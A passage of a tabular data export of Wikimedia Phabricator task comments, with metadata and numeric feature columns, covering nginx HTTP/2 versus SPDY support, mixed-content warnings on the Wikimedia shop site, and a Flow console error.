While these numbers are moving in the right direction, they still don't look good enough to support removing spdy/3 in favor of h2."
573711,Support HTTP/2,"<https://blog.cloudflare.com/introducing-http2/>
> **HTTP/2 is here! Goodbye SPDY? Not quite yet**
> There is no need to make a decision between SPDY or HTTP/2. Both are automatically there for you and your customers.
> ...
>|HTTP Protocol | Average Page Load time
>|--|--
>| HTTP 1.x | 9.07 sec.
>| SPDY/3.1 | 7.06 sec.
>| HTTP/2 | 4.27 sec.
>
> .. It's no secret that CloudFlare uses a modified version of NGINX as the reverse proxy 
>.. NGINX Open Source 1.9.5 [introduced] a new HTTP/2 module [but removed] SPDY. The justification for this approach was based on Google saying goodbye to SPDY and [deprecating the protocol](http://blog.chromium.org/2015/02/hello-http2-goodbye-spdy-http-is_9.html), starting in January 2016.
>
>|Protocol |Percentage of Hits
>|--|--
>|HTTP/1.x | 19.36%
>|SPDY/3.1 | 57.02%
>|HTTP/2 | 23.62%

<https://blog.cloudflare.com/introducing-http2/#comment-2391853103>
>>! [@eastdakota](https://disqus.com/by/eastdakota/) wrote:
> We plan on open sourcing our NGINX patch to support HTTP/2 and SPDY in the new year.",,,1449352717,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,49.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.883720930232558,0.11627906976744186,"<URL
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

<URL
QUOTE
QUOTE"
573706,Support HTTP/2,"<https://blog.cloudflare.com/introducing-http2/>
> **HTTP/2 is here! Goodbye SPDY? Not quite yet**
> There is no need to make a decision between SPDY or HTTP/2. Both are automatically there for you and your customers.
> ...
>|HTTP Protocol | Average Page Load time
>|--|--
>| HTTP 1.x | 9.07 sec.
>| SPDY/3.1 | 7.06 sec.
>| HTTP/2 | 4.27 sec.
>
> .. It's no secret that CloudFlare uses a modified version of NGINX as the reverse proxy 
>.. NGINX Open Source 1.9.5 [introduced] a new HTTP/2 module [but removed] SPDY. The justification for this approach was based on Google saying goodbye to SPDY and [deprecating the protocol](http://blog.chromium.org/2015/02/hello-http2-goodbye-spdy-http-is_9.html), starting in January 2016.
>
>|Protocol |Percentage of Hits
>|--|--
>|HTTP/1.x | 19.36%
>|SPDY/3.1 | 57.02%
>|HTTP/2 | 23.62%",,,1449352192,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,47.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.9444444444444446,0.1111111111111111,"<URL
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
560876,Support HTTP/2,"oops, my nginx version numbers were all off-by-one in the task description.  fixed!",,,1447161424,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,18,True,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.380952380952381,0.9523809523809523,"oops, my nginx version numbers were all off-by-one in the task description.  fixed!"
560704,Support HTTP/2,"@ori yes I emailed Pat, @BBlack on cc, see if we could find the right people to talk to.",,,1447136198,,PHID-USER-hfqxkl5wvmdkecl5utfy,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6818181818181817,0.8636363636363636,"SCREEN_NAME yes I emailed Pat,SCREEN_NAME on cc, see if we could find the right people to talk to."
560565,Support HTTP/2,"@ori: my stats are from clienthellos, so they're per-**connection**.  All of our stats based on X-Connection-Properties are (in some cases, unfortunately) per-**request**, even if several of those requests came in over one **connection**.  Since X-C-P is being sent by nginx to varnish and then logged from varnish, there's no quick solution to that discrepancy.",,,1447103727,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,18,True,4.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,2.0,0.0,5.0,15.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,2.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,15.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.761904761904762,0.7142857142857143,"SCREEN_NAME: my stats are from clienthellos, so they're per-**connection**.  All of our stats based on X-Connection-Properties are (in some cases, unfortunately) per-**request**, even if several of those requests came in over one **connection**.  Since X-C-P is being sent by nginx to varnish and then logged from varnish, there's no quick solution to that discrepancy."
560564,Support HTTP/2,"@BBlack: https://grafana.wikimedia.org/dashboard/db/client-connections?panelId=5&fullscreen&from=1446498648837&to=1447103448837 shows support for SPDY ranging from ~62% to ~71%, which is at odds with your stats above.",,,1447103550,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,21.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.6666666666666665,0.9583333333333334,"SCREEN_NAME: URL shows support for SPDY ranging from ~62% to ~71%, which is at odds with your stats above."
560556,Support HTTP/2,"@Peter, could you perhaps connect Pat Meenan and @BBlack, so we can ask the Chrome team to not drop SPDY before the Nginx situation is resolved? (And perhaps to use their clout to ask Nginx to do the right thing.)",,,1447102603,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,13.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,18.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,7.0,13.0,13.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.066666666666666,0.8,"SCREEN_NAME, could you perhaps connect Pat Meenan andSCREEN_NAME, so we can ask the Chrome team to not drop SPDY before the Nginx situation is resolved? (And perhaps to use their clout to ask Nginx to do the right thing.)"
560525,Support HTTP/2,FYI: I've been filing bugs for SPDY/Chrome and WebPageTest and Pat Meenan (of the Chrome team) reminded me that Chrome will drop support for SPDY early 2016. He also said the team will reach out to us.,,,1447098682,,PHID-USER-hfqxkl5wvmdkecl5utfy,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,24.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,9.0,13.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,3.6666666666666665,0.8,FYI: I've been filing bugs for SPDY/Chrome and WebPageTest and Pat Meenan (of the Chrome team) reminded me that Chrome will drop support for SPDY early 2016. He also said the team will reach out to us.
525204,Support HTTP/2,"Change 230040 abandoned by BBlack:
HTTP/2 alpha patch v2

[[https://gerrit.wikimedia.org/r/230040]]",,,1441978894,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.823529411764706,0.8823529411764706,"Change 230040 abandoned by BBlack:
HTTP/2 alpha patch v2

[[GERRIT_URL]]"
506762,Support HTTP/2,"Change 230040 had a related patch set uploaded (by BBlack):
HTTP/2 alpha patch

[[https://gerrit.wikimedia.org/r/230040]]
",,,1439391906,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,3.652173913043478,0.8260869565217391,"Change 230040 had a related patch set uploaded (by BBlack):
HTTP/2 alpha patch

[[GERRIT_URL]]
"
506760,Support HTTP/2,"Status update: [[ https://www.nginx.com/blog/early-alpha-patch-http2/ | nginx has announced ]] an [[ http://nginx.org/patches/http2/ | an early-alpha quality patch ]], which I've [[ https://gerrit.wikimedia.org/r/#/c/230040/ | built and tested locally ]] against our package.

It seems to function correctly in limited testing and re-uses the bulk of the existing SPDY code we're running today other than where the protocols truly differ (e.g. HPACK for header compression).   One notable drawback of the current patch is that it removes SPDY/3.1 when adding HTTP/2.  Ideally, we'd like to keep both protocols enabled for a transitional period, as probably not all SPDY-capable browsers will have HTTP/2 support in time.",,,1439391756,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,5,True,1.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.5,0.0,6.5,8.5,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.0,1.5,0.0,5.0,0.0,1.5,1.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,16.5,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,9.0,2.5,1.0,6.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,3.5,8.5,3.5,0.0,0.0,0.0,3.5,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,3.884615384615385,0.8076923076923077,"Status update: [[ URL | nginx has announced ]] an [[ URL | an early-alpha quality patch ]], which I've [[ URL | built and tested locally ]] against our package.

It seems to function correctly in limited testing and re-uses the bulk of the existing SPDY code we're running today other than where the protocols truly differ (e.g. HPACK for header compression).   One notable drawback of the current patch is that it removes SPDY/3.1 when adding HTTP/2.  Ideally, we'd like to keep both protocols enabled for a transitional period, as probably not all SPDY-capable browsers will have HTTP/2 support in time."
96818,Shop homepage on HTTPS contains insecure submission form,"In latest Google Chrome, the store throws a warning for insecure interactions on the page.

> Mixed Content: The page at '<https://store.wikimedia.org/>' was loaded over a secure connection, but contains a form which targets an insecure endpoint '<http://wikimediafoundation.us4.list-manage2.com/subscribe/post?u=438f0ff3a0fa6a75eeaea7498&id=906a788d5c>'.

This endpoint should be made available over a secure connection, or the footer should be changed to not embed a form but merely link to the external form page by anchor link.",High,80.0,1429679535,1449353679.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-ts7owielqta5yitsljwe,task_description,resolved,True,c3,1,True,True,False,-11,True,0.0,0.0,0.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,13.0,4.0,9.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,13.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,4.222222222222222,0.7407407407407407,"In latest Google Chrome, the store throws a warning for insecure interactions on the page.

QUOTE

This endpoint should be made available over a secure connection, or the footer should be changed to not embed a form but merely link to the external form page by anchor link."
573714,Shop homepage on HTTPS contains insecure submission form,This form uses a different provider now (https://www.pages04.net/wikimedia/wms/Form instead of Mainchip's non-HTTPS list-manage2.com).,,,1449353679,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ts7owielqta5yitsljwe,task_subcomment,,True,c3,3,True,,,22,True,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,1.0,This form uses a different provider now (URL instead of Mainchip's non-HTTPS list-manage2.com).
94068,"""[FLOW] "" ""Failed to load topics: http"" load.php:163:22","At https://www.mediawiki.org/wiki/Talk:Sandbox this was at the top of my webconsole. I'm not sure what it means.

""[FLOW] "" ""Failed to load topics: http"" load.php:163:22
FlowComponent.prototype.debug() load.php:163
flowBoardComponentLoadMoreFeatureJumpTo/<() load.php:239
jQuery.Callbacks/fire() load.php:45
jQuery.Callbacks/self.fireWith() load.php:46
.Deferred/</deferred[tuple[0]]() load.php:47
mw.Api.prototype.ajax/xhr<() load.php:28
jQuery.Callbacks/fire() load.php:45",High,80.0,1427397224,1532108908.0,PHID-USER-hphmqcx66p6d6gvmjzp7,False,PHID-USER-rmj3kg6svipmzza2iogf,False,PHID-TASK-j2x5644va6ha7wi23oku,task_description,invalid,True,c3,1,False,False,False,-14,True,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,5.0,14.0,0.0,5.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,4.764705882352941,0.5764705882352941,"At URL this was at the top of my webconsole. I'm not sure what it means.

""[FLOW] "" ""Failed to load topics: http"" load.php:163:22
FlowComponent.prototype.debug() load.php:163
flowBoardComponentLoadMoreFeatureJumpTo/<() load.php:239
jQuery.Callbacks/fire() load.php:45
jQuery.Callbacks/self.fireWith() load.php:46
.Deferred/</deferred[tuple[0]]() load.php:47
mw.Api.prototype.ajax/xhr<() load.php:28
jQuery.Callbacks/fire() load.php:45"
434112,"""[FLOW] "" ""Failed to load topics: http"" load.php:163:22","This doesn't look to be happening now (in chrome 39), it might be intermittent or might be browser related.  We should keep an eye out for future occurance.",,,1427478457,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-j2x5644va6ha7wi23oku,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6857142857142855,0.8857142857142857,"This doesn't look to be happening now (in chrome 39), it might be intermittent or might be browser related.  We should keep an eye out for future occurance."
93959,Shop homepage on HTTPS loads insecure content,"https://shop.wikimedia.org/

a 404 and a mixed content warning. mixed content causes the site's lock icon on location bar to indicate site is insecure.

* GET https://cdn.shopify.com/s/files/1/0160/7500/t/13/assets/option_selection.js [HTTP/1.1 404 Not Found 416ms]
* Loading mixed (insecure) display content on a secure page ""http://cdn.shopify.com/s/files/1/0713/7997/t/2/assets/icon-shopping-basket.svg"" [[https://developer.mozilla.org/en-US/docs/Security/MixedContent|Learn More]] shop.wikimedia.org
* GET http://cdn.shopify.com/s/files/1/0713/7997/t/2/assets/icon-shopping-basket.svg [[https://developer.mozilla.org/en-US/docs/Security/MixedContent|Mixed Content]][HTTP/1.1 200 OK 334ms]",High,80.0,1427322534,1449353758.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-hpz4xgn77fh5oaljj5vi,task_description,resolved,True,c3,1,False,False,False,-15,True,0.0,0.0,0.0,0.0,1.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,21.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,4.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,7.0,3.7083333333333335,0.6111111111111112,"URL

a 404 and a mixed content warning. mixed content causes the site's lock icon on location bar to indicate site is insecure.

* GET URL [HTTP/1.1 404 Not Found 416ms]
* Loading mixed (insecure) display content on a secure page ""URL [[URL More]] shop.wikimedia.org
* GET URL [[URL Content]][HTTP/1.1 200 OK 334ms]"
573715,Shop homepage on HTTPS loads insecure content,The 404 and mixed content warnings have been resolved.,,,1449353758,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hpz4xgn77fh5oaljj5vi,task_subcomment,,True,c3,3,True,,,22,True,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,The 404 and mixed content warnings have been resolved.
450134,Shop homepage on HTTPS loads insecure content,https://store.wikimedia.org/pages/privacy-policy is terribly generic. Why isn't shopify mentioned anywhere in the website?,,,1430201919,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hpz4xgn77fh5oaljj5vi,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,27.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,13.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.9333333333333333,URL is terribly generic. Why isn't shopify mentioned anywhere in the website?
439708,Shop homepage on HTTPS loads insecure content,I have fixed the insecure content warning. Not sure what option_selection.js is meant to be though.,,,1428422282,,PHID-USER-grgqimagqq3ankitlzm5,False,,,PHID-TASK-hpz4xgn77fh5oaljj5vi,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,4.666666666666667,0.9444444444444444,I have fixed the insecure content warning. Not sure what option_selection.js is meant to be though.
92891,citoid.wikimedia.org needs to provide HTTPS access as well as HTTP,Otherwise HTTPS clients will abort with a mixed-mode access error.,High,80.0,1426535915,1426537014.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-bigsillngtdydlkgv4jt,task_description,resolved,True,c3,1,True,True,True,-16,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.384615384615385,1.0,Otherwise HTTPS clients will abort with a mixed-mode access error.
